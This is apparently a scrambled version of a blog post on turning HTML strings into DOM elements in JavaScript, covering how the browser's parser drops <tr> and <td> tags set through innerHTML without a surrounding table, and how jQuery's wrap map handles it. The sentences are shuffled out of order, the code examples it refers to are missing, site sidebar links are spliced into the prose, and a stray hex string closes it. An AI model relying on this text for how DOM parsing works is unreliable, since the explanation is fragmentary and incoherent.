but the correct nested element.
```

This seems wrong isn't it Actually that's kinda correct behaviour of the browser.. Let's say that we have the following HTML markup:If you google the problem you will find that the most popular solution involves the usage of. ""Now, parsing something like "<tr><td>Foo" where there is no TABLE tag preceding the TR causes the parser to ignore the TR tag altogether.. I started digging into the jQuery's code and found this:This looks like the magic which solves the problem.

I searched for similar problems and landed on this article by Eric Vasilik Here is what he said back at 2006:"When one sets the innerHTML property of an element, the string containing the HTML is run through the parser.

I cheated a bit and got the code above I managed to extract that functionality into a single method:The map of jQuery nicely shows me what exactly I should wrap my string in.. Post-transpilation or what is the real face of your codeMy rockstar projects:React in patternsNavigo - client-side routerCSSX - CSS transpilerStent - state machines to the rescue.. You will get section element with link inside it Everything seems ok and it looks like you did the trick.

Here is the fixed version FriendsMarkup as functionMeet the JavaScript pattern of the year or how to handle async like a bossGetting from Redux to a state machineYou are managing state? Think twice.. However, it is not There are few popular solutions, but they have a big problem and if you use them a lot you will spot the issue.. And the numbers were the level of nesting Pretty simple, but I think, one of the most used features of jQuery.. Now let's try with something else:The result is onlyHm the <tr> and <td> tags are missing.. You may pass <tr><td>Text Here</td></tr> and still get the desired result.. Later I found this:That was the code that returns the needed DOM element from the build tree. d70b09c2d4
